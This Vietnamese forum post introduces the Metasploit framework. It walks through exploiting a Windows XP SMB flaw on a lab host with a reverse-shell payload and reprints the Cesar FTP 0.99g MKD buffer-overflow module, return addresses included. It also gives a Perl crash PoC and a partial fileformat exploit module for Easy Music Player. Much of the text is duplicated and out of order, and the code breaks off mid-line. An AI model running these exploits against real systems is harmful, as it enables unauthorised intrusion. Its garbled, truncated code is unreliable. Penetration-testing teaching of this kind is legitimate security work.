ping
VIP Members
-
19/06/2013
-
58
-
101 bài viết
Giới thiệu Metasploit
I. Giới thiệu về MSF
1. MSF là gì?
MSF là một framework mã nguồn mở, ban đầu được phát triển với mục đích cung cấp các thông tin về các lỗ hổng bảo mật, hỗ trợ để thử nghiệm các xâm nhập hệ thống (penetration testing: pen-testing ). Ban đầu MSF được viết bằng ngôn ngữ Perl, nhưng từ phiên bản 3.0 trở đi MSF được viết lại toàn bộ bằng Ruby, và được bổ sung thêm các công cụ khác trong nghiên cứu bảo mật như các công cụ thu thập thông tin, fuzzing, scanner ..
2. MSF v3.3
Phiên bản mới nhất hiện nay là 3.3 hỗ trợ 421 exploit modules, 237 auxility modules, 195 payload modules
3. Cài đặt và giao diện
Download MSF tại địa chỉ: www.metasploit.com
Tương tác với MSF: Có 2 cách để làm việc với metasploit là thông qua giao diện console và qua giao diện web.
II. Các chức năng chính của MSF
1. Exploits
Đây là chức năng chính của MSF, giúp ta thử nghiệm khai thác các lỗ hổng phần mềm. Mỗi một module cung cấp một phương thức khai thác, và được phân loại rõ ràng đối với từng hệ điều hành cũng như phiên bản phần mềm. Ta ví dụ khai thác một lỗi cụ thể. Từ giao diện web của MSF chọn Exploits
Trong cửa sổ các Exploit modules, chọn một exploit ta muốn thử nghiệm khai thác. Ví dụ ở đây ta thử nghiệm khai thác lỗi Microsoft Server Service Relative Path Stack Corruption khá phổ biến của winXP SP2.
Sau đó ta vào cửa sổ chọn target (phiên bản của hệ điều hành hoặc phần mềm mục tiêu mà ta muốn khai thác)
Chọn target là Automatic Targeting (nếu không rõ phiên bản target). Tiếp theo là chọn shellcode(Payload) muốn chèn vào, chọn shellcode windows/shell_reverse_tcp
Sau khi chọn shellcode ta vào chỉnh các thông số cho exploit.
Thông thường ta chỉ quan tâm đến Standard Option. Đối với mã khai thác này ta có các Option:
RHOST: remote host - địa chỉ host mà ta muốn khai thác
RPORT: remote port - Exploit này được khai thác qua giao thức SMB, nên đây sẽ là cổng của SMB
EXITFUNC: cách kết thúc trong shellcode
LHOST: local host address
LPORT: local port
Ví dụ ở đây ta có ip của target cần thử nghiệm khai thác là 192.168.46.129
Các Adventure Option để mặc định. Sau khi điền đủ thông số vào các option yêu cầu, chọn Lauch Exploit để khai thác
Nếu thành công ta sẽ vào được cửa sổ command-line. Đánh lệnh ipconfig để kiểm tra
Rõ ràng ở đây sau khi chạy mã khai thác ta đã chạy được chế độ cmd của target có ip là 192.168.46.128
2. Auxiliaries
Đây là chức năng mới được bổ sung từ phiên bản v3.0, bổ sung các module cho việc tìm kiếm, thu thập thông tin, thậm chí là dò tìm lỗ hổng (fuzzing) với các phần mềm.
3. Payloads
Cung cấp các mã khai thác với các tùy chọn về ngôn ngữ (Ruby, C++, …), cách mã hóa, cách thực thi, …
Mỗi payload là một shellcode có tác dụng khác nhau. Ví dụ từ danh sách payloads ta chọn payload Windows Execute Command để tạo một shellcode được viết bằng ngôn ngữ C thực hiện lệnh calc trong DOS, sau đó kết thúc tiến trình
Sau khi điền đầy đủ các options ta chọn Generate để tạo shellcode
Kết qua ta nhận được một xâu (String) chứa mã hex của shellcode.
4. Console
Giao diện console của MSF
- Là giao diện cung cấp đầy đủ tất cả chức năng của MSF
- Hỗ trợ một số lệnh DOS
- Khởi động nhanh, tìm kiếm nhanh, hỗ trợ đánh lệnh thông minh bằng TAB
Một số lệnh hay dùng
5. Sessions
Hiện thông tin các phiên làm việc hiện tại.
Ví dụ trong khai thác lỗi Microsoft Server Service Relative Path Stack Corruption ở trên ta chọn payload là windows/shell_reverse_tcp (Connect back to the attacker, Spawn a piped command shell) thì khi thực hiện khai thác, shellcode sẽ tạo một đường ống lệnh với target (hay còn gọi là một session ). Khi đó ta có thể xâm nhập trở lại target bất cứ lúc nào mà không cần khai thác lại. Để xâm nhập lại ta chỉ cần chọn mục Session
6. Options
Tùy chọn giao diện
7. About
III. Viết exploit cho MSF
1. Giới thiệu về ngôn ngữ Ruby
Là ngôn ngữ hướng đối tượng. Đặc điểm nổi bật nhất là Ruby không hỗ trợ các kiểu dữ liệu cơ bản, mà chỉ hỗ trợ các đối tượng bao kiểu dữ liệu cơ bản. ví dụ: Integer, String, Float, …
2. Cấu trúc một exploit trong MSF
Để hiểu một cấu trúc một exploit ta ví dụ mã khai thác của cesar ftp 0.99g
• Thông tin lỗi
Như vậy, mục đích của ta là sẽ viết một module exploit để MSF tự động tạo ra một file poc.wav mà khi được mở bởi Easy Music Player sẽ tự động thực thi đoạn shellcode mà ta mong muốn.
Đầu tiên ta điền vào mẫu mã khai thác các thông tin cơ bản vào trường info={}
Do exploit này sẽ tạo một file poc.wav nên ta sẽ sử dụng module Msf::Exploit::FILEFORMAT
include Msf::Exploit::FILEFORMAT
Trong quá trình phân tích lỗi ta có được xâu gây tràn stack không bị giới hạn bởi kí tự nào trừ kí tự 0x00 nên ta sẽ để trường ‘BadChars’ trong mục ‘Payload’ của hash info là “0x00”
Phương thức exploit là phương thức sẽ được gọi khi thực hiện lệnh exploit trong MSF. Ta sẽ viết phương thức đó như sau:
1. MSF là gì?
MSF là một framework mã nguồn mở, ban đầu được phát triển với mục đích cung cấp các thông tin về các lỗ hổng bảo mật, hỗ trợ để thử nghiệm các xâm nhập hệ thống (penetration testing: pen-testing ). Ban đầu MSF được viết bằng ngôn ngữ Perl, nhưng từ phiên bản 3.0 trở đi MSF được viết lại toàn bộ bằng Ruby, và được bổ sung thêm các công cụ khác trong nghiên cứu bảo mật như các công cụ thu thập thông tin, fuzzing, scanner ..
2. MSF v3.3
Phiên bản mới nhất hiện nay là 3.3 hỗ trợ 421 exploit modules, 237 auxility modules, 195 payload modules
3. Cài đặt và giao diện
Download MSF tại địa chỉ: www.metasploit.com
Tương tác với MSF: Có 2 cách để làm việc với metasploit là thông qua giao diện console và qua giao diện web.
- a. mfsconsole
- b. Msfweb
II. Các chức năng chính của MSF
1. Exploits
Đây là chức năng chính của MSF, giúp ta thử nghiệm khai thác các lỗ hổng phần mềm. Mỗi một module cung cấp một phương thức khai thác, và được phân loại rõ ràng đối với từng hệ điều hành cũng như phiên bản phần mềm. Ta ví dụ khai thác một lỗi cụ thể. Từ giao diện web của MSF chọn Exploits
Trong cửa sổ các Exploit modules, chọn một exploit ta muốn thử nghiệm khai thác. Ví dụ ở đây ta thử nghiệm khai thác lỗi Microsoft Server Service Relative Path Stack Corruption khá phổ biến của winXP SP2.
Sau đó ta vào cửa sổ chọn target (phiên bản của hệ điều hành hoặc phần mềm mục tiêu mà ta muốn khai thác)
Chọn target là Automatic Targeting (nếu không rõ phiên bản target). Tiếp theo là chọn shellcode(Payload) muốn chèn vào, chọn shellcode windows/shell_reverse_tcp
Sau khi chọn shellcode ta vào chỉnh các thông số cho exploit.
Thông thường ta chỉ quan tâm đến Standard Option. Đối với mã khai thác này ta có các Option:
RHOST: remote host - địa chỉ host mà ta muốn khai thác
RPORT: remote port - Exploit này được khai thác qua giao thức SMB, nên đây sẽ là cổng của SMB
EXITFUNC: cách kết thúc trong shellcode
LHOST: local host address
LPORT: local port
Ví dụ ở đây ta có ip của target cần thử nghiệm khai thác là 192.168.46.129
Các Adventure Option để mặc định. Sau khi điền đủ thông số vào các option yêu cầu, chọn Lauch Exploit để khai thác
Nếu thành công ta sẽ vào được cửa sổ command-line. Đánh lệnh ipconfig để kiểm tra
Rõ ràng ở đây sau khi chạy mã khai thác ta đã chạy được chế độ cmd của target có ip là 192.168.46.128
2. Auxiliaries
Đây là chức năng mới được bổ sung từ phiên bản v3.0, bổ sung các module cho việc tìm kiếm, thu thập thông tin, thậm chí là dò tìm lỗ hổng (fuzzing) với các phần mềm.
3. Payloads
Cung cấp các mã khai thác với các tùy chọn về ngôn ngữ (Ruby, C++, …), cách mã hóa, cách thực thi, …
Mỗi payload là một shellcode có tác dụng khác nhau. Ví dụ từ danh sách payloads ta chọn payload Windows Execute Command để tạo một shellcode được viết bằng ngôn ngữ C thực hiện lệnh calc trong DOS, sau đó kết thúc tiến trình
Sau khi điền đầy đủ các options ta chọn Generate để tạo shellcode
Kết qua ta nhận được một xâu (String) chứa mã hex của shellcode.
4. Console
Giao diện console của MSF
- Là giao diện cung cấp đầy đủ tất cả chức năng của MSF
- Hỗ trợ một số lệnh DOS
- Khởi động nhanh, tìm kiếm nhanh, hỗ trợ đánh lệnh thông minh bằng TAB
Một số lệnh hay dùng
- o ping : lệnh DOS
- o ? : giống help
- o show : dùng để xem các module (ví dụ show exploits | show payloads |…) . Ngoài ra khi ở trong một exploits còn có show options, show targets, show advanced
- o search xxx : tìm kiếm với pattern xxx
- o info : xem thông tin chi tiết một module cụ thể
- o use : sau khi quyết định dùng module nào ta sử dụng lệnh use để vào module đó
- o connect ip_address port: kết nối tới một remote host, tương tự telnet, netcat
- o set option value: thiết lập cấu hình cho các options và settings của module đang làm việc.
- o check : kiểm tra xem target có thể bị khai thác với module hiện tại không. Chỉ sử dụng với các exploit có viết method check() trong source
- o setg : thiết lập các giá trị cho các biến toàn cục. ví dụ :
- setg LHOST 192.168.1.101
- o exploit/run : sử dụng exploit cho exploit module, sử dụng run cho auxiliary module
- o back : quay lại mode trên. Ví dụ :
- msf auxiliary(ms09_001_write) > back
- msf >
- o resource file : chạy các lệnh được lưu trong file
- o irb : chuyển sang chế độ ruby mode - cho phép thực hiện các lệnh như ruby
- o sessions : xem các sessions đang được thiết lập
- o session –i id : sử dụng session theo ID
- o ---------------------------- CÁC LỆNH KHÁC --------------------------------
- o banner : hiện các banner của metasploit
- o color : bật tắt màu
- o cd : thay đổi thư mục làm việc hiện tại
- o exit : exit the console
5. Sessions
Hiện thông tin các phiên làm việc hiện tại.
Ví dụ trong khai thác lỗi Microsoft Server Service Relative Path Stack Corruption ở trên ta chọn payload là windows/shell_reverse_tcp (Connect back to the attacker, Spawn a piped command shell) thì khi thực hiện khai thác, shellcode sẽ tạo một đường ống lệnh với target (hay còn gọi là một session ). Khi đó ta có thể xâm nhập trở lại target bất cứ lúc nào mà không cần khai thác lại. Để xâm nhập lại ta chỉ cần chọn mục Session
6. Options
Tùy chọn giao diện
7. About
III. Viết exploit cho MSF
1. Giới thiệu về ngôn ngữ Ruby
Là ngôn ngữ hướng đối tượng. Đặc điểm nổi bật nhất là Ruby không hỗ trợ các kiểu dữ liệu cơ bản, mà chỉ hỗ trợ các đối tượng bao kiểu dữ liệu cơ bản. ví dụ: Integer, String, Float, …
2. Cấu trúc một exploit trong MSF
Để hiểu một cấu trúc một exploit ta ví dụ mã khai thác của cesar ftp 0.99g
Mã:
#Chú thích bắt đầu với #
##
# $Id: cesarftp_mkd.rb 7853 2009-12-14 19:04:40Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
#Sử dụng thư viện framework core
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote #Khai báo lớp Metasploit3 kế thừa lớp Msf::Exploit::Remote
Rank = AverageRanking
#Do khai thác chương trình Cesar FTP qua giao thức FTP nên cần cài đặt module Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Ftp
#Phương thức khởi tạo dùng để cài đặt các thông tin về lỗ hổng
def initialize(info = {})
super(update_info(info,
'Name' => 'Cesar FTP 0.99g MKD Command Buffer Overflow', #Tên, hiển thị trong giao diện Web
'Description' => %q{ #Miêu tả về lỗi
This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g.
You must have valid credentials to trigger this vulnerability. Also, you
only get one chance, so choose your target carefully.
},
'Author' => 'MC', #tên của tác giả lỗ hổng
'License' => MSF_LICENSE, #loại License
'Version' => '$Revision: 7853 $',
'References' => #Các thông tin tham khảo về lỗ hổng
[
[ 'CVE', '2006-2961'],
[ 'OSVDB', '26364'],
[ 'BID', '18586'],
[ 'URL', 'http://secunia.com/advisories/20574/' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 250, #Dung lượng tối đa cho shellcode
'BadChars' => "\x00\x20\x0a\x0d", #Các kí tự cấm trong shellcode
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
#Danh sách các target và các địa chỉ trả về
[
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
[ 'Windows 2000 Pro SP4 French', { 'Ret' => 0x775F29D0 } ],
[ 'Windows XP SP2/SP3 English', { 'Ret' => 0x774699bf } ], # jmp esp, user32.dl
#[ 'Windows XP SP2 English', { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
#[ 'Windows XP SP3 English', { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
[ 'Windows 2003 SP1 English', { 'Ret' => 0x76AA679b } ],
],
'DisclosureDate' => 'Jun 12 2006',
'DefaultTarget' => 0))
end
#Phương thức check có thể có hoặc không, và sẽ được thực hiện khi gọi lệnh check trong MSF
#Thường dùng để kiểm tra target có thể khai thác được hay không
def check
connect
disconnect
if (banner =~ /CesarFTP 0\.99g/) #kiểm tra banner được trả về từ server
return Exploit::CheckCode::Vulnerable #server có thể khai thác
end
return Exploit::CheckCode::Safe #server không khai thác được
end
#Phương thức này được gọi khi thực hiện lệnh exploit trong MSF
def exploit
connect_login #sử dụng hàm login FTP
sploit = "\n" * 671 + rand_text_english(3, payload_badchars) #bộ đệm
sploit Cấu trúc một exploit là :
• header and some dependencies
o Some comments about the exploit module
o require ‘msf/core’
• class definition
• includes
• “def” definitions :
o initialize
o check (optional)
o exploit
[B]3. Viết mã exploit với MSF[/B]
Ví dụ khai thác lỗ hổng phần mềm Easy Music Player v1.0.0.2
• Tạo file PoC.wav
[CODE]#!/usr/bin/perl
my $A = "\x41" x 4500;
my $Vidu = "Vidu";
open(myfile,'>> PoC.wav');
print myfile $A.$Vidu;
• Thông tin lỗi
Như vậy, mục đích của ta là sẽ viết một module exploit để MSF tự động tạo ra một file poc.wav mà khi được mở bởi Easy Music Player sẽ tự động thực thi đoạn shellcode mà ta mong muốn.
Đầu tiên ta điền vào mẫu mã khai thác các thông tin cơ bản vào trường info={}
Mã:
class Metasploit3 < Msf::Exploit::Remote
#include
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy Music Player v.1.0.0.2', #tên
'Description' => %q{Buffer Overflow}, #miêu tả về lỗi
'Author' => 'mrDo', #my nick name
'Version' => 'v1.0.0.2', #phiên bản
'Payload' => #thông tin này sẽ được sử dụng để tạo shellcode
{
'Space' => 1000,
'BadChars' => "\x00",
},
'Targets' =>
[
[‘ Easy Music Player v1.0.0.2’, { 'Ret' => 0x10020758 } ],
],
'DefaultTarget' => 0))
end
#phương thức exploit
def exploit
….
end
end
Do exploit này sẽ tạo một file poc.wav nên ta sẽ sử dụng module Msf::Exploit::FILEFORMAT
include Msf::Exploit::FILEFORMAT
Trong quá trình phân tích lỗi ta có được xâu gây tràn stack không bị giới hạn bởi kí tự nào trừ kí tự 0x00 nên ta sẽ để trường ‘BadChars’ trong mục ‘Payload’ của hash info là “0x00”
Phương thức exploit là phương thức sẽ được gọi khi thực hiện lệnh exploit trong MSF. Ta sẽ viết phương thức đó như sau:
Mã:
def exploit
head= 'A'*1020 #tạo 1020 kí tự A
head
Chỉnh sửa lần cuối bởi người điều hành: